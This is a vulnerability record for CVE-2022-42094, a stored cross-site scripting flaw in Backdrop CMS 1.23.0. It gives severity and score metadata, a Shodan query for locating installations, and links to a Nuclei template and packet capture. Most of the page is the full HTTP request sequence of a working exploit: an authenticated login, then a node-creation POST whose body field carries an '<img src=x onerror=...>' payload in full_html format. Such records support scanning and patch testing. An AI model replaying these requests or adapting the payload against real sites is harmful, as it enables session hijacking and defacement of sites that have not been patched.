| Title | Backdrop CMS version 1.23.0 - Stored Cross Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor. |
| CVSS Score | 4.8 |
| EPSS Score | 0.18257 |
| CVE ID | CVE-2022-42094 |
| CWE ID | CWE-79 |
| Shodan Query | cpe:"cpe:2.3:a:backdropcms:backdrop" |
| Tags | cve cve2022 xss cms backdrop authenticated intrusive backdropcms vuln |
Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the ‘Card’ content.
GET /?q=user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /?q=user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name=aYIDjt&pass=rmj178&form_build_id=U9TwDt&form_id=user_login&op=Log+in
GET /?q=node/add/card HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /?q=node/add/card HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0
Connection: close
Content-Length: 2039
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWEcZgRB4detkrGaY
Accept-Encoding: gzip
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="title"
38FCjv7qBSS1ocShQtNOnndlUxP
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="field_image[und][0][fid]"
0
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="field_image[und][0][display]"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="changed"
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="form_build_id"
eCuyVP
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="form_token"
rsZkXa
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="form_id"
card_node_form
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="body[und][0][value]"
<img src=x onerror=alert(document.domain)>
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="body[und][0][format]"
full_html
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="status"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="name"
MP1hbv
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="date[date]"
2023-04-13
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="date[time]"
21:49:36
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="path[auto]"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="comment"
1
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="additional_settings__active_tab"
------WebKitFormBoundaryWEcZgRB4detkrGaY
Content-Disposition: form-data; name="op"
Save
------WebKitFormBoundaryWEcZgRB4detkrGaY--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42094.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-42094.pcap
N/AN/A